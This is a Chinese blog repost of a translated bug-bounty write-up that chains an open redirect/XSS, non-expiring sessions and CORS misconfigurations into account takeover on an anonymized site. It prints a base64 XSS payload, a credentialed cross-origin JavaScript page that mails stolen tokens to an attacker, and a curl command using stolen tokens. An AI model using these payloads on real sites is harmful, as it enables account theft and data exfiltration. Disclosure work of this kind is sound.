一套漏洞组合拳接管你的账号

2024-03-24 04:40

本文主要是介绍一套漏洞组合拳接管你的账号,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这是我在一个众测项目中发现的漏洞,单个漏洞可能不是那么有趣,但是把他们组合起来利用,逼格一下子就上来了,也算是比较经典的组合拳

所以,请大家看到最后

为了保护厂商隐私,我们姑且把这次的测试网址定为host.com

开放式重定向

第一个漏洞很简单,就是一个开放式重定向,当然,这个开放式重定向咱们也可以把他弄成一个反射型xss

www.host.com/redencrypt?location=data:text/html%3Bbase64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg==&utm_source=saloncentric_app&utm_medium=referral

这个xss只能在safari浏览器上触发,而且啥数据都偷不到

虽然不能说是🐂b哄哄,也算是毫无用处了🤣🤣🤣

其中,存在漏洞的参数是location,我们使用的payload就是一个base64编码过后的<script>alert(‘test3’)</script>

Session永生

本来想把这个漏洞叫做session固定漏洞,但是一想,这个漏洞还和session固定漏洞不太一样,它更牛逼

怎么个牛逼法呢?

一般情况下,咱们登录一个网站,网站都会返回给我们一个sessionid,这个sessionid就是用来识别不同的用户的

和这个sessionid对应的,网站服务器上还存着用户的session,正常情况下,我们登出或者更改密码过后网站就应该销毁咱们的session

但是,我测试的这个站点就没有销毁session,也就是session永生

网站不死它不死,就问你怕不怕!

是不是很多小伙伴之前挖洞的时候根本没想着挖这个点?那么下次就可以试试了,测试方式也很简单

  • 登录网站,请求一个需要登录过后才能访问的接口发包,用burp抓包
  • 登出网站
  • 用burp repeater重放刚刚抓到的请求
  • 如果依然能够返回登录后的数据,则存在漏洞🤑🤑🤑

对了,JWT sessions就别想了,JWT token都是有过期时间的

CORS配置错误

这是本次组合拳中最重要的一个漏洞,其实有这一个漏洞就已经算是接管别人的账号了,但是不够彻底

我们要的是什么?


是完全接管,就是拿到对方账号为所欲为的那种,你懂我意思吧

这个网站上有一个发送邮件的功能,用户可以通过这个功能给朋友发送邀请码、折扣码等等,而这个功能是在host.com的一个子域上实现的,我们将其称之为sub1.host.com,就是这个域名错误地配置了CORS

所以,我们可以构造一个恶意页面部署在我们的服务器上,恶意网页中包含如下js代码:

<script>
function steal(){
var xmlH = new XMLHttpRequest();
xmlH.open("GET", "https://sub1.host.com/api/v4/mail-token", true);
xmlH.withCredentials = true;
xmlH.send();
xmlH.onload = function(){
data = JSON.parse(this.responseText);
var mail_token = data.mail_token;
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://sub1.host.com/api/v5/email/share-code", true);
xhr.setRequestHeader("MailToken", mail_token);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"target":"id:222920"},"recipient_emails":["mashoud1122@wearehackerone.com"],"message":"STOLEN WITHOUT NOTICE/Interaction + EMAIL OF VICTIM in TITLE"}');
}
}
</script>
<body onload="steal()"></body>

假设该页面部署在http://www.axin.com/handsome.html,我把该链接发送给目标用户,当用户点击这个链接时,我们的恶意页面就带着目标用户的cookie给我自己发了一封邮件

我们可以通过这种方式盗取邀请码、折扣码,还能知道受害者的邮箱

由于子域名上的功能有限,暂且只能做这些事情…我们继续挖一挖吧

一处不起眼的逻辑漏洞

其实这一处漏洞还是因为CORS配置错误,这次有问题的域名为sub2.host.com(同样是CORS配置错误的域名)

我在这个域名上发现了接口sub2.host.com/api/v2/token,这个接口会返回一个字符串

我最开始不知道这个字符串是干嘛的,但是看到接口中有个token,我觉得这个字符串不会简单,所以就用这个字符串到处插😏

在这里插入图片描述
结果还真中奖了!

这就是处处留情的下场吗,我开心坏了

我发现这个字符串可以当做mydata.host.com的登录凭证

只要我们把这个字符串放到Authorization请求头中,或者是作为cookie中ac_access_token的值,我们就可以得到一些登录过后才能看到的响应

通过fuzzing,我发现这个域名下有如下这些接口:

  • 用户购买记录/user-me/purchases
  • 用户邮件记录/user-me/sharables
  • 用户详细信息/user-me
  • 用户奖励信息/user-me/rewards

把漏洞串成羊肉串

ok,有了上面的漏洞,其实我们已经能够做很多事情了

特别是最后一个漏洞,这个CORS错误配置已经能够直接拿到token了,但是这个token在用户登出过后就会过期

所以,为了能够拿到高危/严重、拿到更多的💰,我们需要把这些漏洞串起来

下面就是整个流程

开放式重定向–>恶意站点–>恶意站点利用sub1.host.com上的CORS错误配置给攻击者发送一份邮件,这份邮件的内容就是从sub2.host.com/api/v2/token接口偷来的tokan–> 用这个token验证接口,然后拿到sessionid,还记得第二个漏洞吗?sessionid是不变的,所以,我们成功地完全接管了别人的账号

攻击者收到的邮件形式如下:


现在我们既可以用偷来的token查看用户隐私信息,也可以用sessionid完成更多操作

curl https://mydata.host.com/api/v4/user-me/purchases --cookie "ac_access_token=STOLEN_TOKENS" | jq

最后,收钱包到账¥10000

本文翻译自:https://medium.com/@mashoud1122/cors-misconfiguration-account-takeover-out-of-scope-to-grab-items-in-scope-66d9d18c7a46

这篇关于一套漏洞组合拳接管你的账号的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/840483

相关文章

vue+el国际化-东抄西鉴组合拳

vue-i18n 国际化参考 https://blog.csdn.net/zuorishu/article/details/81708585 说得比较详细。 另外做点补充,比如这里cn下的可以以项目模块加公共模块来细分。 import zhLocale from 'element-ui/lib/locale/lang/zh-CN' //引入element语言包const cn = {mess

【漏洞复现】畅捷通T+ keyEdit.aspx SQL漏洞

0x01 产品简介 畅捷通 T+ 是一款灵动,智慧,时尚的基于互联网时代开发的管理软件,主要针对中小型工贸与商贸企业,尤其适合有异地多组织机构(多工厂,多仓库,多办事处,多经销商)的企业,涵盖了财务,业务,生产等领域的应用,产品应用功能包括: 采购管理、库存管理、销售管理、生产管理、分销管理、零售管理、往来管理、现金银行管理、总账、移动应用等,融入了社交化、移动化、电子商务、互联网信息订阅等元素

汽车网络安全 -- 漏洞该如何管理

目录 1.漏洞获取途径汇总 2.CAVD的漏洞管理规则简析 2.1 通用术语简介 2.2 漏洞评分指标 2.3.1 场景参数 2.3.2 威胁参数  2.3.3 影响参数 2.3 漏洞等级判定 ​3.小结 在汽车网络安全的时代背景下,作为一直从事车控类ECU基础软件开发的软件dog,一直在找切入点去了解车联网产品的各种网络安全知识。 特别是历史上各种汽车网络安全事件、

XSS跨站攻击漏洞

XSS跨站攻击漏洞 一 概述 1 XSS概述 xss全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。 XSS攻击者的目的就是寻找具有XSS漏洞的网页,让受害者在不知情的情况下,在有XSS漏洞的网页上执行攻击者的JavaScript代码。 XSS是提前埋伏好

mysql 如何分配root账号创建数据库的权限

1.mysql 如何分配root账号创建数据库的权限 在 MySQL 中,root 用户通常具有所有的权限,包括创建数据库的权限。但是,如果我们想要为另一个用户分配创建数据库的权限,或者想要限制 root 用户对某个特定数据库或服务器的权限(尽管这在实际操作中并不常见,因为 root 用户通常应该是无限制的),我们需要按照以下步骤进行操作。 这里我将解释如何为一个新的 MySQL 用户分配创建

修复漏洞Windows 2012 Server R2(CVE-2016-2183)、(CVE-2015-2808)、(CVE-2013-2566)

修复漏洞 漏洞风险等级评定标准主机风险等级评定标准漏洞概括利用注册表修复漏洞查看修复后的漏洞 漏洞风险等级评定标准 危险程度危险值区域危险程度说明高7 <=漏洞风险值<= 10攻击者可以远程执行任意命令或者代码,或对系统进行远程拒绝服务攻击。中4 <=漏洞风险值< 7攻击者可以远程创建、修改、删除文件或数据,或对普通服务进行拒绝服务攻击。低0 <=漏洞风险值< 4攻击者可以获取

Python武器库开发-武器库篇之ThinkPHP 5.0.23-RCE 漏洞复现(六十四)

Python武器库开发-武器库篇之ThinkPHP 5.0.23-RCE 漏洞复现(六十四) 漏洞环境搭建 这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 5.0.

Web渗透:文件上传漏洞

文件上传漏洞(File Upload Vulnerability)是网络安全中的一种常见漏洞,攻击者可以通过此漏洞将恶意文件上传到服务器,从而执行任意代码、覆盖重要文件、或进行其他恶意操作。这种漏洞可能带来严重的安全风险,包括数据泄露、系统入侵、甚至完全控制服务器。 文件上传漏洞的危害 ①代码执行:攻击者可以上传包含恶意代码的脚本文件,如PHP、ASP、JSP等,直接在服务器上执行。②文件

【网络安全的神秘世界】SQL注入漏洞

🌝博客主页:泥菩萨 💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 本章知识使用的靶场:DVWA 一、漏洞简介 SQL:结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言 SQL注入:简而言之就是,攻击者通过系统正常的输入数据的功能,输入恶意数据,而系统又未做任何校验或校验不严格,直接信任了用户输入,使得

【漏洞复现】AJ-Report开源数据大屏 verification;swagger-ui RCE漏洞

0x01 产品简介 AJ-Report是一个完全开源的B平台,酷炫大屏展示,能随时随地掌控业务动态,让每个决策都有数据支撑。多数据源支持,内置mysql、elasticsearch、kudu等多种驱动,支持自定义数据集省去数据接口开发,支持17+种大屏组件,不会开发,照着设计稿也可以制作大屏。三步轻松完成大屏设计:配置数据源–>写SQL配置数据集->拖拽配置大屏->保存发布。欢迎体验。 0x0